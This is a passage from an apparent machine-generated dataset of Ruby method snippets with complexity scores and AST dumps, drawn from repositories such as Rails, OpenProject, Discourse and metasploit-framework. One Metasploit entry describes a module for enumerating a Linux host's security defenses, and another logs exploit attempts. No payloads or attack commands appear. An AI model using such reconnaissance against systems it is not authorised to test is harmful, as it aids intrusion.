hinder,\n prevent, or detect attacks, such as tripwire, snort, and apparmor.\n\n This module is meant to identify Linux Secure Modules (LSM) in addition\n to various antivirus, IDS/IPS, firewalls, sandboxes and other security\n related software.\n },\n 'License' => MSF_LICENSE,\n 'Author' => 'ohdae <bindshell[at]live.com>',\n 'Platform' => ['linux'],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Gather Protection Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module checks whether popular system hardening mechanisms are\\n\"]},{\"type\":\"str\",\"children\":[\" in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\\n\"]},{\"type\":\"str\",\"children\":[\" tries to find installed applications that can be used to hinder,\\n\"]},{\"type\":\"str\",\"children\":[\" prevent, or detect attacks, such as tripwire, snort, and apparmor.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module is meant to identify Linux Secure Modules (LSM) in addition\\n\"]},{\"type\":\"str\",\"children\":[\" to various antivirus, IDS/IPS, firewalls, sandboxes and other security\\n\"]},{\"type\":\"str\",\"children\":[\" related software.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"ohdae <bindshell[at]live.com>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"3558d063-539c-473d-9cd6-0016da938767"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/exploit_attempt.rb","start_line":35,"raw_source":"def report_exploit_failure(opts)\n return unless opts[:refs].present? && opts[:host].present?\n\n host = opts[:host]\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n opts = opts.clone()\n port = opts[:port]\n proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO\n svc = opts[:service]\n rids = opts.delete(:ref_ids) || []\n\n opts[:refs].each do |ref|\n if ref.instance_of?(Mdm::Module::Ref)\n str = ref.name\n elsif (ref.respond_to?(:ctx_id)) && (ref.respond_to?(:ctx_val))\n str = \"#{ref.ctx_id}-#{ref.ctx_val}\"\n elsif (ref.is_a?(Hash) && ref[:ctx_id] && ref[:ctx_val])\n str = \"#{ref[:ctx_id]}-#{ref[:ctx_val]}\"\n elsif ref.is_a?(String)\n str = ref\n end\n rids << find_or_create_ref(name: str) unless str.nil?\n end\n\n # Look up the service as appropriate\n if port && svc.nil?\n # only one result can be returned, as the +port+ field restricts potential results to a single service\n svc = services(:workspace => wspace,\n :hosts => {address: host},\n :proto => proto,\n :port => port).first\n end\n\n # Look up the host as appropriate\n if !host || !host.kind_of?(::Mdm::Host)\n if svc&.kind_of? ::Mdm::Service\n host = svc.host\n else\n host = get_host(workspace: wspace, address: host)\n end\n end\n\n # Bail if we dont have a host object\n return unless host\n\n vuln = nil\n if rids.present?\n # Try to find an existing vulnerability with the same service & references\n # or, if svc is nil, with the same host & references\n vuln = find_vuln_by_refs(rids, host, svc, false)\n end\n\n opts[:service] = svc\n opts[:host] = host\n opts[:vuln] = vuln if vuln\n\n do_report_failure_or_success(opts)\n end","complexity_score":95.7,"ast_json":"{\"type\":\"def\",\"children\":[\"report_exploit_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBManager\"]},\"DEFAULT_SERVICE_PROTO\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rids\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"ref_ids\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Module\"]},\"Ref\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"ctx_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"ctx_val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rids\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"find_or_create_ref\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"nil?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"services\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hosts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},\"first\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Service\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"get_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rids\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"send\",\"children\":[null,\"find_vuln_by_refs\",{\"type\":\"lvar\",\"children\":[\"rids\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"svc\"]},{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"svc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"vuln\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"do_report_failure_or_success\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"74771613-37ef-4b54-890c-26dc68a62f11"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1045,"raw_source":"def test_unrelated_load_error\n app_file \"test/models/account_test.rb\", <<-RUBY\n require \"test_helper\"\n\n require \"does-not-exist\"\n\n class AccountsTest < ActiveSupport::TestCase\n def test_truth\n assert true\n end\n end\n RUBY\n\n output = run_test_command(\"test/models/account_test.rb\")\n assert_match(\"cannot load such file -- does-not-exist\", output)\n assert_not_predicate $?, :success?\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unrelated_load_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"test/models/account_test.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" require \\\"test_helper\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" require \\\"does-not-exist\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" class AccountsTest < ActiveSupport::TestCase\\n\"]},{\"type\":\"str\",\"children\":[\" def test_truth\\n\"]},{\"type\":\"str\",\"children\":[\" assert true\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"str\",\"children\":[\"test/models/account_test.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"cannot load such file -- does-not-exist\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"gvar\",\"children\":[\"$?\"]},{\"type\":\"sym\",\"children\":[\"success?\"]}]}]}]}","id":"842b811f-c467-45c9-a37a-7e3f4dd61c80"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/checksum.rb","start_line":95,"raw_source":"def cache_checksums\n @cache_checksums ||= self.class.fetch_checksums_for(work_packages)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_checksums\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache_checksums\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fetch_checksums_for\",{\"type\":\"send\",\"children\":[null,\"work_packages\"]}]}]}]}","id":"fb52ece7-c961-419f-90f4-3dc0f7768317"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_view_serializer_extension.rb","start_line":56,"raw_source":"def last_answerer\n BasicUserSerializer.new(object.topic.last_answerer, scope: scope, root: false).as_json\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"last_answerer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicUserSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"last_answerer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"as_json\"]}]}","id":"65ae9c20-c632-4761-bfc5-e6a2e37977ce"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/spawn_methods.rb","start_line":43,"raw_source":"def merge!(other, *rest) # :nodoc:\n if other.is_a?(Hash)\n Relation::HashMerger.new(self, other).merge\n elsif other.is_a?(Relation)\n Relation::Merger.new(self, other).merge\n elsif other.respond_to?(:to_proc)\n instance_exec(&other)\n else\n raise ArgumentError, \"#{other.inspect} is not an ActiveRecord::Relation\"\n end\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]},{\"type\":\"restarg\",\"children\":[\"rest\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"HashMerger\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"other\"]}]},\"merge\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"Merger\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"other\"]}]},\"merge\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_proc\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" is not an ActiveRecord::Relation\"]}]}]}]}]}]}]}","id":"97963877-a262-4f77-916b-c16389d8d3b5"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/time_profile.rb","start_line":91,"raw_source":"def hours=(arr)\n arr = arr.collect(&:to_i)\n profile_will_change! if profile[:hours] != arr\n profile[:hours] = arr\n end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hours=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hours\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[null,\"profile_will_change!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"lvar\",\"children\":[\"arr\"]}]}]}]}","id":"d0f2a9bb-0c70-4df3-b907-fbe142aaebd8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2100,"raw_source":"def compare_test_reports\n unless has_test_reports?\n return { status: :error, status_reason: 'This merge request does not have test reports' }\n end\n\n compare_reports(Ci::CompareTestReportsService)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_test_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_test_reports?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"str\",\"children\":[\"This merge request does not have test reports\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_reports\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CompareTestReportsService\"]}]}]}]}","id":"1310d0da-b3f4-46de-9162-c918c04bf774"} {"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20200825102956_remove_orphaned_notifications_by_article.rb","start_line":3,"raw_source":"def run\n # Delete all Notifications related to Articles that don't exist anymore\n ActiveRecord::Base.connection.execute(\n <<~SQL.squish,\n DELETE FROM notifications\n WHERE notifiable_type = 'Article'\n AND notifiable_id NOT IN (SELECT id FROM articles);\n SQL\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM notifications\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE notifiable_type = 'Article'\\n\"]},{\"type\":\"str\",\"children\":[\"AND notifiable_id NOT IN (SELECT id FROM articles);\\n\"]}]},\"squish\"]}]}]}","id":"2c15f3aa-5ea8-4731-bc67-03bf02ce22da"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/test_case.rb","start_line":193,"raw_source":"def parallel_worker_id\n self.class.parallel_worker_id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parallel_worker_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"parallel_worker_id\"]}]}","id":"e69ca447-0935-4c0a-8110-6b415e83a027"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":355,"raw_source":"def test_middleware_caches\n mw = middleware { |env|\n Task.find 1\n Task.find 1\n query_cache = ActiveRecord::Base.connection_pool.query_cache\n assert_equal 1, query_cache.size, query_cache.inspect\n [200, {}, nil]\n }\n mw.call({})\n end","complexity_score":15.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_middleware_caches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middleware\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"query_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"query_cache\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_cache\"]},\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_cache\"]},\"inspect\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"ef179761-4242-4fab-93b1-54ca40887e7c"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/figure_wrapped_filter.rb","start_line":74,"raw_source":"def wrap_in_figure(element)\n element.wrap(\"<figure>\") unless element.parent&.name == \"figure\"\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_in_figure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"parent\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"figure\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"wrap\",{\"type\":\"str\",\"children\":[\"<figure>\"]}]}]}]}","id":"a7009bdd-68c9-42c7-8a67-8f5c083978c3"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":239,"raw_source":"def work_package_field(key)\n case key\n when /customField(\\d+)$/\n work_package_custom_field(key, $1)\n when :date, :startDate, :dueDate, :combinedDate\n DateEditField.new container, key, is_milestone: work_package&.milestone?\n when :estimatedTime, :remainingTime, :percentageDone, :statusWithinProgressModal\n ProgressEditField.new container, key, create_form: create_page?\n when :description\n TextEditorField.new container, key\n # The AbstractWorkPackageCreate pages do not require a special WorkPackageStatusField,\n # because the status field on the create pages is a simple EditField.\n when :status\n if create_page?\n EditField.new container, key, create_form: true\n else\n WorkPackageStatusField.new container\n end\n else\n EditField.new container, key, create_form: create_page?\n end\n 